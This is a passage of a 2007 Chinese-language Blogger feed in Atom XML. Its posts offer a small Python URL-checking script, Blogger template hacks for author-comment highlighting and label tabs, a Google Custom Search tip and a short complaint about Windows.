type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/825525285097326892'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_18.html' title='[翻译]如何优化网页读取速度'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7022767048813812911</id><published>2007-05-18T18:57:00.000+08:00</published><updated>2007-05-18T19:05:30.416+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>检查 URL 是否有效</title><content type='html'>&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;#&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;---------- check_url.py ----------#&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;from&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; httplib &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; HTTP&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;from&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; urlparse &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; urlparse&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;def&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; checkURL(url):&lt;br /&gt; p &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; urlparse(url)&lt;br /&gt; h &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; HTTP(p[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;])&lt;br /&gt; h.putrequest(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;HEAD&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, p[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;])&lt;br /&gt; h.endheaders()&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; h.getreply()&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;__name__&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;__main__&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;for&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; url &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;in&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://msnbc.com/nonsense&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://msnbc.com/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://w3c.org/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://w3c.org/nonsense&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://w3c.org/Consortium/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://ibm.com/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;http://ibm.com/nonsense&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;):&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; url, checkURL(url)[:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;]&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; python check_url.py&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;msnbc.com&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;nonsense (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;200&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;OK&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;msnbc.com&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;302&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;Object moved&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;w3c.org&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;301&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;Moved Permanently&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;w3c.org&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;nonsense (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;301&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;Moved Permanently&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;w3c.org&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Consortium&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;301&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;Moved Permanently&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ibm.com&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;200&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;OK&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;http:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ibm.com&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;nonsense (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;404&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;Not Found&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　虽然还有点小问题，不是100%准确。不过对于大多数情况是没有问题的。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7022767048813812911?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7022767048813812911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7022767048813812911' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7022767048813812911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7022767048813812911'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/url.html' title='检查 URL 是否有效'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7588626879120633214</id><published>2007-05-18T14:09:00.001+08:00</published><updated>2010-11-30T11:23:17.818+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>创建 email 地址图标</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://services.nexodyne.com/email/icon/Vz2dkEC%2B8owEZPa%2BYg%3D%3D/wZopi4w%3D/R01haWw%3D/0/image.png"&gt;&lt;img style="cursor: pointer; width: 200px;" src="http://services.nexodyne.com/email/icon/Vz2dkEC%2B8owEZPa%2BYg%3D%3D/wZopi4w%3D/R01haWw%3D/0/image.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;　　注意到有些网站上有这样的图标吗？如果想要，快来&lt;a href="http://services.nexodyne.com/email/index.php"&gt;这里&lt;/a&gt;创建一个吧。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7588626879120633214?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7588626879120633214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7588626879120633214' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7588626879120633214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7588626879120633214'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/email.html' title='创建 email 地址图标'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2971352359638802809</id><published>2007-05-18T13:58:00.000+08:00</published><updated>2007-05-18T14:19:38.775+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]在 blog 中添加  Google 搜索引擎</title><content type='html'>　　通过 &lt;a href="http://www.google.com/coop/"&gt;Co-op - now with Custom Search Engine&lt;/a&gt; 可以轻松向你的 blog 中添加 Google 搜索引擎，而且可以按照你的需要自定义。&lt;br /&gt;　　填上要搜索的网站地址和语言，得到代码后复制到你的 blog。非常简单！！&lt;br /&gt;译注：需要 Google 账号，而且设定界面是英文。英语不好就找朋友帮忙吧。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2971352359638802809?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2971352359638802809/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2971352359638802809' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2971352359638802809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2971352359638802809'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-google.html' title='[翻译]在 blog 中添加  Google 搜索引擎'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-474307115233992940</id><published>2007-05-18T12:54:00.000+08:00</published><updated>2010-11-30T11:24:06.535+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>别了 Windows</title><content type='html'>在我看来，windows 只能当做游戏机了。不稳定、低效率，完全不能忍受。昨晚差点就砸电脑了。别了，祝 windows 早日死亡。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-474307115233992940?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/474307115233992940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=474307115233992940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/474307115233992940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/474307115233992940'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/windows.html' title='别了 Windows'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-9080976946920784831</id><published>2007-05-14T12:02:00.000+08:00</published><updated>2007-05-20T17:52:59.647+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]高亮显示作者评论与评论通知</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2006/10/author-comment-highlighting-and.html"&gt;Author comment highlighting and notification&lt;/a&gt;&lt;br /&gt;　　中断了一两个星期后，我又回来了。在评论部分我有了新的 hack ——高亮显示作者的评论并且可以在作者恢复评论后通知读者。你也许已经注意到了我的评论以红色显示，这也就是我所说的“高亮”。我相信这能帮助读者在长篇的评论找到我回复。一些读者问我如何在他们的博客中使用这种功能。现在我就与你们分享这一切。&lt;br /&gt;　　评论回复通知是我在老 blogger 中做过的另一个 hack。当有人在博客中发布了问题（评论），在回复后，除非发表评论的人经常访问，要不很难看到。如果是通过搜索或者链接访问的，那么可能他不会记得博客地址。有时，你的回复很长但却再也没有得到回音。通过使用通知，只要简单的点击能自动发送邮件给评论的人。邮件会包含你的姓名、文章标题和固定链接，这样就能轻松的看到你的回复。这个 hack 实际上是我的网站 Anniyalogam.com 提供的一项服务（请注意邮件只有读者在个人资料中公开了邮件地址的情况下才能发送。）。&lt;br /&gt;　　现在开始修改代码。首先找到 comment-body 类，复制粘贴后修改为 comment-body-author，并球该成需要的评论显示方式。比如，我想设置颜色和粗体显示。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;.comment-body &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; padding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0 0 0 20px&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;&lt;br /&gt;.comment-body p &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; font-size&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;100%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0 0 .2em 0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;.comment-body-author &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; padding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0 0 0 20px&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;&lt;br /&gt;.comment-body-author p &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; font-size&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;100%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0 0 .2em 0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; color&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;#CC3300&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt; text-decoration&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;bold&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　然后在模板中搜索“id ='comments-block'”，找到&lt;a href="http://www.anniyalogam.com/widgets/authorcomment.html"&gt;这段代码&lt;/a&gt;后添加其中红色和蓝色两部分代码。红色部分用来高亮作者评论，蓝色用来通知读者。&lt;br /&gt;　　在完成修改以后，在任何有评论的文章中你都会发现在评论后面有一张图片（不是在发表评论的页面中）。就像下面的例子中 Richard 的评论。&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger2/652/3767/400/notifier.0.jpg"&gt;&lt;img style="cursor: pointer; width: 320px;" src="http://photos1.blogger.com/blogger2/652/3767/400/notifier.0.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;　　当我回复 Richard 后，只要我点击图片，一封类似下面内容的就会发送到他个人资料中的邮箱中（如果没有公开邮件地址，将不会发送邮件）。&lt;br /&gt;&lt;blockquote&gt;Subject: Response to your comment has been posted&lt;br /&gt;"Ramani has responded to your comment on &lt;a href="http://hackosphere.blogspot.com/2006/09/peekaboo-posts-improved-again.html"&gt;Peekaboo posts improved again&lt;/a&gt;. Please click this link to see the response."&lt;/blockquote&gt;&lt;br /&gt;　　为了安全考虑，只有在博客作者登录时才会显示图片。访客不会看到图片也不能使用这项功能。同时，请谨慎的使用（读者不会喜欢你发送的无关紧要的邮件）。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-9080976946920784831?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/9080976946920784831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=9080976946920784831' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/9080976946920784831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/9080976946920784831'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_14.html' title='[翻译]高亮显示作者评论与评论通知'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2549268051638695395</id><published>2007-05-12T02:14:00.000+08:00</published><updated>2007-05-12T02:42:15.505+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]优化 tab 式标签</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2006/09/tweak-your-label-tabs.html"&gt;Tweak your label tabs&lt;/a&gt;&lt;br /&gt;　　我在 Hoctro 标签页面的基础上又进行了改进。很多人都有10个以上的标签，我肯定他们不想以 tab 的方式显示所有的标签。在修改的版本中允许只显示排名前5的标签（以使用频率为基础）。我同样做了其他两处改动：&lt;br /&gt;1. 显示指向主页的“Home”；&lt;br /&gt;2. 修改了标签链接地址。在 tab 页面中显示前 100 条结果（还记得我前一个 hack 吗？）。&lt;br /&gt;　　如果希望使用这个升级版，首先安装 Hoctro 原来的 hack。然后在“页面元素”中编辑“tab 式标签部件”，修改排序方式为“按频率排序”。然后在 Hoctro 的代码中找到下面的代码。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:widget &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;id&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='Label2' &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;locked&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='false' &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;title&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='Labels' &lt;/span&gt;&lt;span style="color: 